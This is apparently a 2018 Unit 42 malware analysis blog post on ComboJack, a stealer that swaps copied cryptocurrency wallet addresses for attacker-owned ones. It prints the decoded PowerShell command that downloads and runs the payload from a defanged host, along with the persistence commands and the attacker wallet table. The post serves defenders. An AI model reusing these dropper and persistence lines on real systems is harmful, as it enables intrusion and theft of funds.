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New ComboJack Malware Alters Clipboards to Steal Cryptocurrency ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 5 min read Related Products [![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Brandon Levene](https://unit42.paloaltonetworks.com/author/brandon-levene/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:March 5, 2018 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Cybercrime](https://unit42.paloaltonetworks.com/category/cybercrime/) * [Malware](https://unit42.paloaltonetworks.com/category/malware/) * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [ComboJack](https://unit42.paloaltonetworks.com/tag/combojack/) * [Cryptocurrency](https://unit42.paloaltonetworks.com/tag/cryptocurrency/) * [Cryptoshuffler](https://unit42.paloaltonetworks.com/tag/cryptoshuffler/) * [CVE-2017-8579](https://unit42.paloaltonetworks.com/tag/cve-2017-8579/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/?pdf=download&lg=en&_wpnonce=ac4b3be3b8 "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/?pdf=print&lg=en&_wpnonce=ac4b3be3b8 "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Sure,%20I’ll%20take%20that!%20New%20ComboJack%20Malware%20Alters%20Clipboards%20to%20Steal%20Cryptocurrency&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency%2F&title=Sure,%20I’ll%20take%20that!%20New%20ComboJack%20Malware%20Alters%20Clipboards%20to%20Steal%20Cryptocurrency "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency%2F&text=Sure,%20I’ll%20take%20that!%20New%20ComboJack%20Malware%20Alters%20Clipboards%20to%20Steal%20Cryptocurrency "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Sure,%20I’ll%20take%20that!%20New%20ComboJack%20Malware%20Alters%20Clipboards%20to%20Steal%20Cryptocurrency%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency%2F "Share in Mastodon") Summary Unit 42 researchers have discovered a new currency stealer which targets cryptocurrencies and online wallets. "CryptoJack" functions by replacing clipboard addresses with an attacker-controlled address which sends funds into the attacker's wallet. This technique relies on victims not checking the destination wallet prior to finalizing a transaction. In 2017, CryptoShuffler was the first malware to utilize this tactic. In contrast to that one, which focused on numerous cryptocurrencies, ComboJack targets both a range of cryptocurrencies, as well as digital currencies such as WebMoney and Yandex Money. Details Early on the morning of February 25, 2018, Unit 42 and [Proofpoint](https://www.proofpoint.com/us) researchers observed an interesting malspam campaign targeting Japanese and American users. This particular campaign tried to entice users by claiming a passport was lost and that the attached PDF contained a scanned copy of the document. ![ComboJackImage1](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/ComboJackImage1.png) *Image 1. Example malspam recieved by users.* Users opening this PDF would find a single line of text which refers to an embedded doc file. ![Combojack\_2](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Combojack_2.png) *Figure 1 Prompt displayed to the victim when opening the embedded RTF file* Similar to techniques utilized by [Dridex and Locky in mid-2017](https://www.fireeye.com/blog/threat-research/2017/05/dridex_and_lockyret.html), the PDF contained an embedded RTF file which contains an embedded remote object that attacks [CVE-2017-8579](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8579) as discussed in this [FireEye report](https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html). This embedded remote object is an HTA file which was located at hXXps://a.doko\[.\]moe/tnejln which contains encoded PowerShell commands. [![ComboJackImage2](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/ComboJackImage2.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/ComboJackImage2.png) *Image 2. Contents of the HTA file retrieved from hXXps://a.doko\[.\]moe/tnejln* Decoding the contents of the HTA file yields the following PowerShell command which downloads and executes a file: wscript.shell%systemroot%\\system32\\windowspowershell\\v1.0\\powershell.exe (new-object system.net.webclient).downloadfile( hXXp://masolo\[.\]win/protect/achi.exe $env:appdata\\bstest.exe) ; start $env:appdata\\bstest.exe |-----|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 | wscript.shell%systemroot%\\system32\\windowspowershell\\v1.0\\powershell.exe (new-object system.net.webclient).downloadfile( hXXp://masolo\[.\]win/protect/achi.exe $env:appdata\\bstest.exe) ; start $env:appdata\\bstest.exe | The full flow of execution may be visualized as follows: ![Combojack\_3](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Combojack_3.png) *Figure 2 Flow of execution leading to ComboJack being installed on victim* That leads us to the payload, which we have dubbed ComboJack because of how it attempts to hijack a combination of digital currencies. ComboJack The following files were used for this analysis, which are explained below. |--------------------------|------------------------------------------------------------------| | **Initial File SHA256** | 9613aefc12880528040812b0ce9d3827d1c25fe66f8598eaef82c169e8ed02da | | **Second Stage SHA256** | cab010b59cf9d649106477df012ca49f939aa537910b56bfadbe1381b0484d88 | | **Final Payload SHA256** | 05dfde82a9790943df8dfab6b690ec18711ce3558f027dd74504b125d24d6136 | The initially downloaded file is a self-extracting executable (SFX) with embedded commands for extracting the second stage. This second stage is a password protected SFX, however, the password is supplied by the first stage. This allows us to easily recover the contents of the second stage. Helpfully, the "setup.txt" from the first stage contains the following: ![Combojack\_4](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Combojack_4.png) *Image 3. Contents of setup.txt embedded in the first SFX layer of the payload.* Once the second stage is extracted and run, we are presented with the final stage of this attack, which we refer to as ComboJack. Once ComboJack is extracted it begins by copying itself to the following location: C:\\\\ProgramData\\\\NVIDIA\\\\NVDisplay.Container.exe |---|--------------------------------------------------------| | 1 | C:\\\\ProgramData\\\\NVIDIA\\\\NVDisplay.Container.exe | It then uses the built-in Windows tool, attrib.exe (used for setting file attributes), to set both hidden and system attributes to itself. This hides the file from the user and allows it to execute with SYSTEM level privileges. "cmd /k attrib +s +h \\"C:\\\\ProgramData\\\\NVIDIA\\\\NVDisplay.Container.exe\\"" |---|------------------------------------------------------------------------------------| | 1 | "cmd /k attrib +s +h \\"C:\\\\ProgramData\\\\NVIDIA\\\\NVDisplay.Container.exe\\"" | Finally, the payload sets the following registry key to ensure persistence: HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\NVIDIA -- C:\\ ProgramData\\NVIDIA\\NVDisplay.Container.exe |---|----------------------------------------------------------------------------------------------------------------------------------| | 1 | HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\NVIDIA -- C:\\ ProgramData\\NVIDIA\\NVDisplay.Container.exe | When the above steps are completed, ComboJack enters into an infinite loop. Every half second it checks the contents of the clipboard. The contents of the clipboard are checked for various criteria to determine if the victim has copied wallet information for various digital currencies. In the event a wallet of interest is discovered, ComboJack will replace it with a hardcoded wallet that the attacker presumably owns in an attempt to have the victim accidentally send money to the wrong location. This tactic relies on the fact that wallet addresses are typically long and complex and to prevent errors, most users will opt to copy an exact string in order to prevent potential errors. If any potential currency addresses are found, they are replaced following the criteria in the table below: |-------------------------------------|----------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | **Checks for this criteria** | **Replaces with** | **Wallet Type** | | Length of 42 and starts with a '0' | 0xE44598AB74425450692F7b3a9f898119968da8Ad | Ethereum | | Length of 106 and starts with '4' | 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBE | Monero. It's important to note that this replacement string is not long enough, as Monero wallet addresses are either 95 or 106 characters in length. This was likely a mistake made by the author. | | Length of 34 and starts with '1' | 1LGskAycxvcgh6iAoigcvbwTtFjSfdod2x | Bitcoin | | Length of 34 and starts with 'L' | LYB56d6TeMg6VmahcgfTZSALAQRcNRQUV | Litecoin | | Length of 11 and starts with '8' | 79965017478 | Qiwi | | Length of 13 and starts with 'R' | R064565691369 | WebMoney (Rubles) | | Length of 13 and starts with 'Z' | Z152913748562 | WebMoney (USD) | | Length of 13 and starts with 'E' | 88888888888888888888888888888888888888888888888888 | Unknown | | Length of 15 and starts with '4100' | 410014474125403 | Yandex Money | *Table 1. Replacement address lookup table hardcoded into ComboJack.* ComboJack shares some similarities in basic functionality with [CryptoShuffler](https://www.kaspersky.com/blog/cryptoshuffler-bitcoin-stealer/19976/), which is a malware family discovered by Kaspersky in 2017. However whereas CryptoShuffler focused exclusively on cryptocurrencies, ComboJack also targets popular digital payment systems, such as WebMoney (USD, EUR, and RUB), and Yandex Money. Conclusion With the proliferation of Cryptomining malware, it is curious to see some actors take a different route to acquiring web-based currency. Cryptoshuffler in 2017 may have been only the beginning of simple, yet effective clipboard stealers like ComboJack. By targeting multiple cryptocurrencies and web based wallets, the author of ComboJack appears to be hedging his or her bets on which currency will boom and which will bust. As the prices of cryptocurrencies continue to rise it is likely we will see more and more malware targeting cryptocurrencies, as it presents the fastest way to the highest profit. Palo Alto Networks WildFire customers are protected from this threat through the following ways: * ComboJack malware is identified as malicious and blocked via the Traps and WildFire products * Customers may monitor and track [ComboJack](https://autofocus.paloaltonetworks.com/#/tag/Unit42.ComboJack) through the AutoFocus tag IOCs **Lure PDFs:** dd8ba88df50de86e7bb9b6343313e48e1e3b8d1a84ffca0a06a203a2f027cfdc d3a5313a0070b8400b0d661f2515a0eb83e4e6110b98e9ffb6618e457bf52714 15e6984beea04bf2f26fbbe1e490c59d1f51ba7ad0dce3ac76cea21579ca694b 325fd50143d6d975d9db18cf9a069c9107c3bfcad5a07653d53c0fc315ee27ab **Payload:** bd1b56b6814aae369b0593dfe71450e1b45cb288f752faa2622d1b189bc6b2d6 228e8b728f7b714934f5ecfa6fd5de256d1d24f634a63f2fc4663c7cfb3b9d65 05dfde82a9790943df8dfab6b690ec18711ce3558f027dd74504b125d24d6136 d92b4c622d3524f6d5ce8fe53d802c6a0c51fd1f56ac2b554daac24d7b4fb8ef 4d96d8cfefd9cc3f86bd3ab7f054f0b0acef726a4c349359bf44d22952b4744d 85c27addbf3a7234ac1e2922002fdef216994708bdda28f2ad6d3a7a1b32934e ea5eb17c32767486c1b3a8ee7a8eacefab125c93414cdea97348c2ee96752f7e a6807cf5ed53b34cc9513defcde56c8a956c3d574ee9f300b3a763a7c8287081 8d8f497313ed797090ef552d44198f8c21f0a6ed261b30902d4d37478cd2efeb 47f14c24212c32e686f0b9162530c4b966c9cff907e1920c096ad81d078f20cd 05cbc6b1e98bc6f8935f95454ba214cccaf3a36c497126512669daba59a407a0 8a6f75a4a58bdafed085fd640681a4c94eee54f1bfb6e5eb6dcf8eb7524d2a2e 2ee9a1c554a774925f83428a0822b901d7b3ed81c247cb0d038ecc188d9f9149 d0f6dcdb4f749490a7ef678e9006474c885fbb3d8e396a5c8f2150441bb34782 a10a5666ce31c7a3de760f33d93bd924354e7bac1f07bde9e3ac3da8e250eb6d 98e896586ea71f80a2b0024ec86133bfa5163f01f4faa1b1f380f0a2ea128c2f f9bff08960484d5c97f075090b9843dc1d54839a4dabc514e8f97f809e1ceaf5 c1cc9448ee5684698f7891911821a9eb86f56be8852adef613b2fab4636e7b36 ece82af6fa1e94904d62e86fe86810fe85b058e56a311ca24ac7667409cff8c0 Back to top ### Tags * [ComboJack](https://unit42.paloaltonetworks.com/tag/combojack/ "ComboJack") * [Cryptocurrency](https://unit42.paloaltonetworks.com/tag/cryptocurrency/ "Cryptocurrency") * [Cryptoshuffler](https://unit42.paloaltonetworks.com/tag/cryptoshuffler/ "Cryptoshuffler") * [CVE-2017-8579](https://unit42.paloaltonetworks.com/tag/cve-2017-8579/ "CVE-2017-8579") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Monero Miners Continue to Plague Users via Russian BitTorrent Site](https://unit42.paloaltonetworks.com/unit42-monero-miners-continue-plague-users-via-russian-bittorrent-site/ "Monero Miners Continue to Plague Users via Russian BitTorrent Site") ### Related Articles * [Vidar Stealer Unmasked: Code Signing Abuse, Go Loaders and File Inflation](https://unit42.paloaltonetworks.com/vidar-stealer-xmrig-miner-campaign-analysis/ "article - table of contents") * [Gremlin Stealer's Evolved Tactics: Hiding in Plain Sight With Resource Files](https://unit42.paloaltonetworks.com/gremlin-stealer-evolution/ "article - table of contents") * [01flip: Multi-Platform Ransomware Written in Rust](https://unit42.paloaltonetworks.com/new-ransomware-01flip-written-in-rust/ "article - table of contents") ## Related Resources ![Pictorial representation of a magnifying glass illuminating a glowing orange circular digital circuit interface on a dark, high-tech background.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Myth-Busting_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/08/Insights-icon-white.svg)Insights](https://unit42.paloaltonetworks.com/category/insights/) September 16, 2026 [#### Atomic macOS (AMOS) Stealer Activity](https://unit42.paloaltonetworks.com/atomic-macos-amos-stealer-activity/) * [MacOS](https://unit42.paloaltonetworks.com/tag/macos/ "macOS") * [Threat intelligence](https://unit42.paloaltonetworks.com/tag/threat-intelligence/ "threat intelligence") * [Unit 42](https://unit42.paloaltonetworks.com/tag/unit-42/ "Unit 42") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/atomic-macos-amos-stealer-activity/ "Atomic macOS (AMOS) Stealer Activity") ![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. 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A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/) * [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa") * [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID") * [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams") ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/) * [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor") * [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin") * [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution") ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/) * [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication") * [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft") * [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels") ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/) * [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK") * [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum") * [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet") ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/) * [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum") * [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications") ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. 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